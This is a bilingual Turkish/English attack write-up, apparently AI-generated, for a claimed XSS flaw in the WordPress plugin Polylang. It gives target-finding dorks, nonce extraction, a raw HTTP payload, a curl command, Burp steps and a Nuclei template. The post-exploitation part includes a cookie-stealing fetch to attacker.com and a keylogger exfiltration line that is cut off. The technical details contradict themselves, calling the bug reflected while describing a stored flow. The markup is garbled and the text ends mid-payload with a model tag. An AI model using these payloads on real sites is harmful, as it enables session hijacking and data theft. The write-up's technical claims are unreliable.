CWE-79
Contributor Cross Site Scripting (XSS) in Polylang <= 3.8.9 versions.
🎯 Açık Nedir? / What is this vulnerability?
CVE‑2026‑97279 – Contributor Reflected Cross‑Site Scripting (XSS) in Polylang ≤ 3.8.9
- Ürün: WordPress eklentisi Polylang (çok‑dilli içerik yönetimi).
- Etki sınıfı: CWE‑79 – Improper Neutralization of Input During Web Page Generation ('Cross‑Site Scripting').
- Teknik özet: - Polylang, “contributor” (yazar) rolündeki kullanıcıların
pll_stringparametresi: URL‑encoded<script>alert(document.domain)</script>pll_context:post_title(başlık çevirisi) – bu alanpll_the_languages()içinde doğrudan ekrana basılıyor.- Metasploit: Henüz bir modul bulunmamakta, ancak
auxiliary/scanner/http/wp_polylang_xssgibi bir custom modul yazılabilir. - Burp Suite:
pll_save_translation AJAX endpoint’i üzerinden çeviri meta‑verilerini (ör. post_title, post_content, term_name) kaydetmesine izin verir.
- Bu endpoint, gelen _pll_nonce ve pll_action parametrelerini doğrulasa da, pll_string (çevrilecek metin) ve pll_context (bağlam) parametrelerini sanitize_text_field() yerine wp_kses_post() ile filtrelemeden doğrudan veritabanına kaydeder.
- wp_kses_post() yalnızca WordPress’in “post” içeriği için izin verilen HTML etiketlerini (p, a, strong, …) temizler; script, onerror, javascript: gibi XSS vektörlerini engellemez.
- Daha sonra, Polylang’ın pll_the_languages() fonksiyonu, bu çevirileri esc_html() yerine echo $translation; ile doğrudan temaya (theme) basar.
- Sonuç: Contributor rolündeki bir kullanıcı, zararlı JavaScript içeren bir çeviri metni ekleyebilir; bu metin, site ziyaretçileri (özellikle admin olmayan) tarafından görüntülendiğinde tarayıcıda çalışır.> Kod akışı (simplified):
```
/wp-admin/admin-ajax.php
-> action=pll_save_translation
-> check_ajax_referer('_pll_nonce')
-> current_user_can('edit_posts') // contributor = true
-> $string = $_POST['pll_string']; // <-- XSS payload
-> $context = $_POST['pll_context']; // (e.g. 'post_title')
-> $sanitized = wp_kses_post( $string ); // insufficient
-> update_post_meta( $post_id, $meta_key, $sanitized );
```
```
/wp-content/plugins/polylang/includes/frontend.php
function pll_the_languages() {
foreach ( $languages as $lang ) {
$label = $lang->name; // çeviri burada saklı
echo $label; // esc_html() missing → XSS
}
}
```
Bu iki zayıflık (yetersiz sanitizasyon + eksik escaping) bir araya geldiğinde Reflected XSS ortaya çıkar; payload doğrudan sayfa çıktısına yansır ve tarayıcıda yürütülür.
---
⚡ Saldırı Zinciri / Attack Chain
1️⃣ Discovery – Hedefin bulunması
| Adım | Açıklama | Araç | |------|----------|------| | a) WordPress site taraması |site:example.com "polylang" veya inurl:/wp-content/plugins/polylang/ Google dorks ile Polylang kullanan siteler tespit edilir. | Google Dork, Shodan, Censys |
| b) Versiyon tespiti | wp-content/plugins/polylang/readme.txt dosyasındaki Stable tag: satırı okunur. Ayrıca WPScan eklenti taraması ile Polylang <= 3.8.9 tespit edilir. | WPScan (--enumerate p), Nmap http‑enumeration script |2️⃣ Reconnaissance – Gerekli bilgi toplama
| Bilgi | Neden gerekli? | Toplama yöntemi | |-------|----------------|-----------------| | Kullanıcı rolleri | XSS sadece contributor rolündeki kullanıcılar için çalışır. |/wp-json/wp/v2/users (eğer REST API açık) veya Burp Suite ile admin-ajax.php?action=pll_save_translation isteği gönderilip current_user_can yanıtı incelenir. |
| pll_save_translation endpoint URL | Payload’ı göndermek için gerekli. | admin-ajax.php?action=pll_save_translation doğrudan tarayıcı/CLI üzerinden test edilir. |
| CSRF token (_pll_nonce) | AJAX isteği geçerli bir nonce gerektirir. | wp-admin/admin-ajax.php?action=pll_save_translation sayfasını ziyaret edip sayfa kaynağından _pll_nonce değeri çıkarılır (ör. document.querySelector('input[name="_pll_nonce"]').value). |3️⃣ Exploitation – XSS payload’ı gönderme
#### 3.1 Payload örneği
```http
POST /wp-admin/admin-ajax.php?action=pll_save_translation HTTP/1.1
Host: vulnerable.com
Cookie: wordpress_logged_in_...=...; // contributor oturumu
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
_pll_nonce=1234567890abcdef&pll_action=save_translation&pll_string=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&pll_context=post_title&pll_post_id=42
```
#### 3.2 Komut satırı örneği (cURL)
```bash
curl -X POST "https://vulnerable.com/wp-admin/admin-ajax.php?action=pll_save_translation" \
-b "wordpress_logged_in_...=YOUR_SESSION_COOKIE" \
-d "_pll_nonce=abcdef1234567890" \
-d "pll_action=save_translation" \
-d "pll_string=<script>alert('XSS')</script>" \
-d "pll_context=post_title" \
-d "pll_post_id=42"
```
#### 3.3 Metasploit / Burp Suite
pll_string parametresini §payload§ olarak işaretle. 2. Payloads sekmesinde Sniper + Custom →
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> 3. Intercept → Başarılı bir yanıt alındığında, site ziyaretçilerinin (ör. admin) bu çeviriyi gördüklerinde payload çalışır.
#### 3.4 Nuclei Template (örnek)
```yaml
id: cve-2026-97279-polylang-xss
info:
name: Polylang Contributor Reflected XSS
author: yourname
severity: medium
tags: xss,wordpress,polylang
requests:
- method: POST
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=pll_save_translation"
body: "_pll_nonce={{nonce}}&pll_action=save_translation&pll_string=<script>alert('nuclei')</script>&pll_context=post_title&pll_post_id=1"
headers:
Content-Type: application/x-www-form-urlencoded
matchers:
- type: word
words:
- "alert('nuclei')"
part: body
```
4️⃣ Post‑exploitation – Payload sonrası ne yapılabilir?
| Aksiyon | Açıklama | Potansiyel sonuç | |---------|----------|-------------------| | Session hijacking | Payload içindefetch('https://attacker.com/steal?c='+document.cookie) göndererek oturum çerezi çalınır. | Attacker, admin oturumunu ele geçirerek siteyi tam kontrol eder. |
| Keylogger / DOM‑based exfiltration | `<script>document.addEventListener('keypress',e=>fetch('https://attacker.com/k?[🤖 GPT-OSS 120B via Groq]